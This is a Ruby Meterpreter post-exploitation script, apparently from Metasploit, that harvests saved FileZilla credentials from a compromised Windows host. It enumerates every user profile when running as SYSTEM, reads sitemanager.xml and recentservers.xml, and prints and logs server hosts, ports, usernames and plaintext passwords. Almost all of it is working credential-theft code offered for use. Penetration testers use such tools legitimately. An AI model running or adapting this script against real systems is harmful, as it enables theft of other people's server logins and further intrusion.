require "rexml/document" #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help menu." ], "-c" => [ false, "Return credentials." ] ) get_credentials=false opts.parse(args) { |opt, idx, val| case opt when "-h" print_line "Meterpreter Script for extracting servers and credentials from Filezilla." print_line(opts.usage) raise Rex::Script::Completed when "-c" get_credentials=true end } ### If we get here and have none of our flags true, then we'll just ### get credentials if !(get_credentials) get_credentials=true end #------------------------------------------------------------------------------- #Set General Variables used in the script @client = client os = @client.sys.config.sysinfo['OS'] host = @client.sys.config.sysinfo['Computer'] # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs logs = ::File.join(Msf::Config.log_directory, 'filezilla', Rex::FileUtils.clean_path(host + filenameinfo) ) # Create the log directory ::FileUtils.mkdir_p(logs) #logfile name dest = Rex::FileUtils.clean_path(logs + "/" + host + filenameinfo + ".txt") #------------------------------------------------------------------------------- #function for checking of FileZilla profile is present def check_filezilla(path) found = nil @client.fs.dir.foreach(path) do |x| next if x =~ /^(\.|\.\.)$/ if x =~ (/FileZilla/) ### If we find the path, let's return it found = path + x return found end end return found end #------------------------------------------------------------------------------- def extract_saved_creds(path,xml_file) accounts_xml = "" creds = "" print_status("Reading #{xml_file} file...") ### modified to use pidgin_path, which already has .purple in it account_file = @client.fs.file.new(path + "\\#{xml_file}", "rb") until account_file.eof? accounts_xml << account_file.read end account_file.close doc = (REXML::Document.new accounts_xml).root doc.elements.to_a("//Server").each do |e| print_status "\tHost: #{e.elements["Host"].text}" creds << "Host: #{e.elements["Host"].text}" print_status "\tPort: #{e.elements["Port"].text}" creds << "Port: #{e.elements["Port"].text}" logon_type = e.elements["Logontype"].text if logon_type == "0" print_status "\tLogon Type: Anonymous" creds << "Logon Type: Anonymous" elsif logon_type =~ /1|4/ print_status "\tUser: #{e.elements["User"].text}" creds << "User: #{e.elements["User"].text}" print_status "\tPassword: #{e.elements["Pass"].text}" creds << "Password: #{e.elements["Pass"].text}" elsif logon_type =~ /2|3/ print_status "\tUser: #{e.elements["User"].text}" creds << "User: #{e.elements["User"].text}" end proto = e.elements["Protocol"].text if proto == "0" print_status "\tProtocol: FTP" creds << "Protocol: FTP" elsif proto == "1" print_status "\tProtocol: SSH" creds << "Protocol: SSH" elsif proto == "3" print_status "\tProtocol: FTPS" creds << "Protocol: FTPS" elsif proto == "4" print_status "\tProtocol: FTPES" creds << "Protocol: FTPES" end print_status "" creds << "" end # return creds end #------------------------------------------------------------------------------- #Function to enumerate the users if running as SYSTEM def enum_users(os) users = [] path4users = "" sysdrv = @client.fs.file.expand_path("%SystemDrive%") if os =~ /7|Vista|2008/ path4users = sysdrv + "\\users\\" path2purple = "\\AppData\\Roaming\\" else path4users = sysdrv + "\\Documents and Settings\\" path2purple = "\\Application Data\\" end if is_system? print_status("Running as SYSTEM extracting user list..") @client.fs.dir.foreach(path4users) do |u| userinfo = {} next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ userinfo['username'] = u userinfo['userappdata'] = path4users + u + path2purple users << userinfo end else userinfo = {} uservar = @client.fs.file.expand_path("%USERNAME%") userinfo['username'] = uservar userinfo['userappdata'] = path4users + uservar + path2purple users << userinfo end return users end ################## MAIN ################## if client.platform =~ /win32|win64/ print_status("Running Meterpreter FileZilla Credential harvester script") print_status("All services are logged at #{dest}") enum_users(os).each do |u| print_status("Checking if Filezilla profile is present for user :::#{u['username']}:::...") ### Find the path (if it exists) for this user, filezilla_path = check_filezilla(u['userappdata']) if filezilla_path print_status("FileZilla profile found!") ### modified to use filezilla_path xml_cfg_files = ['sitemanager.xml','recentservers.xml'] if get_credentials xml_cfg_files.each do |xml_cfg_file| file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file)) end end else print_error("Filezilla profile not found!") end end else print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end